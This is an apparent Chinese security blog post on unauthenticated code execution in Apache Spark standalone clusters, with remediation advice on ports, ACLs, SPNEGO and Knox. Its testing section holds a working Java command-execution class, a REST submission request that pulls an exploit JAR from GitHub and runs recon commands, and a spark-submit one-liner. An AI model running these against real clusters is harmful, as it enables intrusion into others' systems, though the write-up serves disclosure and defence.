2018-11-08 19:35:1625779人阅读
0x01 漏洞介绍
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。
该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。
0x02 漏洞测试
向Master节点提交应用的方式有两种:
1、利用StandaloneRestServer API提交应用,REST服务端的默认端口号是6066;
2、使用Spark应用程序部署工具spark-submit提交应用。
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
应用可以是Java或Python,就是一个最简单的类,如下所示(参考链接1):
将其编译成JAR,放在任意一个HTTP或FTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar。standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API。
POST /v1/submissions/create HTTP/1.1
Host: 111.111.111.111:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 687
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://111.111.111.111:6066"
}
}
其中spark.jars就是恶意的应用,appArgs是该应用执行的命令参数。提交该请求之后,Spark slave节点会部署运行该恶意应用。
服务器响应如下图所示:其中submissionId在漏洞利用请求的response中可以查看到。
通过如下Url可以查看任务的运行情况:
http://{Master ip}:8081/logPage/??driverId={submissionId}&logType=stdout
结果如下图所示:
如果6066端口不能访问,或做了权限控制,我们可以向Spark standalone集群的master节点来提交应用,默认端口是7077,具体方法是利用Apache Spark自带的脚本bin/spark-submit:
bin/spark-submit --master spark://111.111.111.111:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
0x03 漏洞修复
1、对外关闭端口
对外关闭8080(Standalone Master Web UI端口)、8081(Standalone Worker Web UI端口)、6066(Standalone Master Rest Server Api端口)、7077(Standalone Master集群作业提交端口)等Spark端口。
2、权限认证
用户可以自定义 javax servlet filter 来对登陆用户进行认证,Spark会根据用户的ACL(访问控制列表)来确保该登陆用户有权限访问某个Spark应用的web UI。Spark ACL的行为可由 spark.acls.enable 和 spark.ui.view.acls 共同控制。注意,启动Spark应用的用户总是会有权限访问该应用对应的UI。而在YARN模式下,Spark web UI会使用YARN的web应用代理机制,通过Hadoop过滤器进行认证。
Spark还支持修改运行中的Spark应用对应的ACL以便更改其权限控制,不过这可能会导致杀死应用或者杀死任务的动作。这一特性由 spark.acls.enable 和 spark.modify.acls 共同控制。注意,如果你需要web UI的认证,比如为了能够在web UI上使用杀死应用的按钮,那么就需要将用户同时添加到modify ACL和view ACL中。在YARN上,控制用户修改权限的modify ACL是通过YARN接口传进来的。
Spark可以允许多个管理员共同管理ACL,而且这些管理员总是能够访问和修改所有的Spark应用。而管理员本身是由 spark.admin.acls 配置的。在一个共享的多用户集群中,你可能需要配置多个管理员,另外,该配置也可以用于支持开发人员调试Spark应用。
3、Spnego Authentication
开启了ACL就能对UI进行权限隔离了吗?其实我们还只走了一半路。为了使web server(Spark内嵌Jetty)能够对用户进行隔离,首先Jetty需要知道是谁发起了HTTP请求,换句话说,只有用户的HTTP请求中包含了用户信息,UI和ACL才能根据用户信息进行正确的隔离。但是不幸的是,普通的HTTP请求是不包含用户信息。
为此需要为Jetty servlet加入authentication filter以获取认证用户的信息。在这之中,最常用的就是Spnego authentication。
Spnego是一套以Kerberos为基础的HTTP认证机制,只有经过Kerberos授权的HTTP请求才能被web server所接受。Hadoop生态系统下的各个组件的UI大都采用Spnego作为认证机制,如HDFS,YARN等。
为了使Spark UI能够使用Spnego认证,用户需要实现相应的authentication filter并将其添加到Jetty中。幸运的是Hadoop已经帮我们实现了相应的filter,只需将其配置就可使用。具体如下:
1.spark.ui.filters=org.apache.hadoop.security.authentication.server.AuthenticationFilter
2.spark.org.apache.hadoop.security.authentication.server.AuthenticationFilter.params=type=kerberos,kerberos.pricipal=<kerberos-principal>,kerberos.keytab=<kerberos-keytab>
在这里,需要为Spark UI创建Kerberos principal和keytab。这样Spark UI就有了Spnego
authentication的能力了,任何用户在发起HTTP请求之前必须先获得Kerberos tgt。使用curl命令的话,方式如下:
$ kinit
$ curl --negotiate -u : <host>:<port>/<xxx>
经过Spnego认证的HTTP请求在其HTTP头部包含用户信息,Spark UI和ACL机制会从其中获取用户名并在相应的权限列表中进行比对。
参考链接:
http://jerryshao.me/2018/01/15/spark-security-overview/
https://community.hortonworks.com/content/supportkb/150096/how-to-enable-spnego-for-spark-history-server-ui.html
4、Apache Knox
参考链接:
https://ieevee.com/tech/2016/06/17/knox.html
https://blog.csdn.net/tonyhuang_google_com/article/details/50038165
本文来自百度安全SiemPent Team,转载请注明出处及本文链接